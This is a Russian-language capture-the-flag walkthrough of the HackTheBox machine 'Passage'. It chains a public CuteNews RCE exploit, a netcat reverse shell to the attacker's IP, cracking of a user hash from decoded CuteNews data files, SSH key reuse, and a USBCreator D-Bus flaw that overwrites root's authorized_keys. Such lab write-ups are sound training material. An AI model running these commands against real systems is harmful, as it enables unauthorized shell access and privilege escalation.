Прохождение HackTheBox Passage
SHADOW:GroupОС: Linux
Сложность: Средняя
Баллы: 30
Релиз: 05 сен 2020
IP: 10.10.10.206
Сбор Информации
Проверяем открытые порты с помощью nmap:
nmap -sC -sV -Pn passage.htb

Видим открытый 80 порт и смотрим, что на нем размещено.
http://passage.htb
Видим что-то похожее на новостной портал. Верхняя новость как бы намекает нам о том, что на сервере запущен Fail2Ban, а значит за попытку брута мы отлетим в бан. Это касается и утилит типа gobuster, dirbuster и тд.

Пробуем открыть исходный код страницы (ctrl+U) и обращаем внимание на наличие директории /CuteNews

Переходим по данному адресу и видим страницу авторизации
http://passage.htb/CuteNews

Внизу видим версию CuteNews и пытаемся поискать публичные эксплойты под эту версию. Буквально первой ссылкой в гугле натыкаемся на RCE:

Получаем пользователя
Копируем код в файл 11447.py и пытаемся выполнить его. В качестве входный данных требуется лишь URL сайта:
python3 11447.py

И видим, что эксплойт успешно отработал и предоставил нам строку для ввода команды. Теперь получим более удобную оболочку с помощью netcat и выполним команду:
nc -e /bin/sh 10.10.10.12 1234
где 10.10.10.12 - ip нашей машины
На нашей машине будем слушать порт 1234, для получения обратного шела:
nc -nlvp 1234
а также преобразуем наш шел до полностью интерактивного (это не обязательно)
python -c 'import pty;pty.spawn("/bin/bash");'
Ctrl+Z
stty raw -echo && fg
export TERM=xterm

Первое, что я делаю, это проверяю файлы CuteNews, чтобы увидеть, есть ли какие-либо файлы конфигурации с учетными данными. После некоторого поиска я наткнулся на папку /var/www/html/CuteNews/cdata/users, содержащую файлы php. Внутри файлов находится декодированная строка base64 с информацией о зарегистрированных пользователях.

В файле b0.php находим хэш для пользователя paul.
echo hash | base64 -d

Пробуем получить пароль из хеша с помощью сайта CrackStation:

Получаем пароль atlanta1. Логинимся как paul и получаем user.txt
su paul cd /home/paul cat user.txt

Повышаем привилегии
На этом этапе я просматриваю папку /home/paul и нахожу внутри .ssh закрытый ключ id_rsa paul, с этим я могу подключиться через ssh. Более того, с этим ключом мы можем подключиться и как пользователь nadav:
chmod 600 ssh_key ssh -i ssh_key nadav@passage.htb

Следующий этап занял у меня достаточно много времени. Сначала я пытался проанализировать процессы, но не заметил ничего необычного. В итоге, по счастливой случайности я решил заглянуть в файл .viminfo внутри папки /home и обнаружил, что происходили изменения в файле /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf

Переходим в гугл и находим вот эту статью. В конце статьи объясняется, как из-за уязвимости можно читать и перезаписывать недоступные файлы без запроса пароля. Таким образом мы можем попробовать перезаписать authorized_keys для пользователя root и подключиться к нему по ssh. Для этого необходимо выполнение следующих условий:
- Пользователь должен быть в группе sudoers. В нашем случае nadav входит в группу sudoers.
- Пользователь должен иметь исполняемые привилегии для инструмента dbus.
На нашей машине создаем ключи для ssh:
ssh-keygen

Затем копируем наш публичный ключ в файл authorized_keys в папке /home/nadav
Для эксплуатации уязвимости запустим следующий код:
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/authorized_keys /root/.ssh/authorized_keys true
Теперь подключаемся к пользователю root по ssh и забираем root.txt.
ssh -i root_key root@passage.htb

На этом все. Благодарю за просмотр!
Подпишись на канал - @shadow_group_tg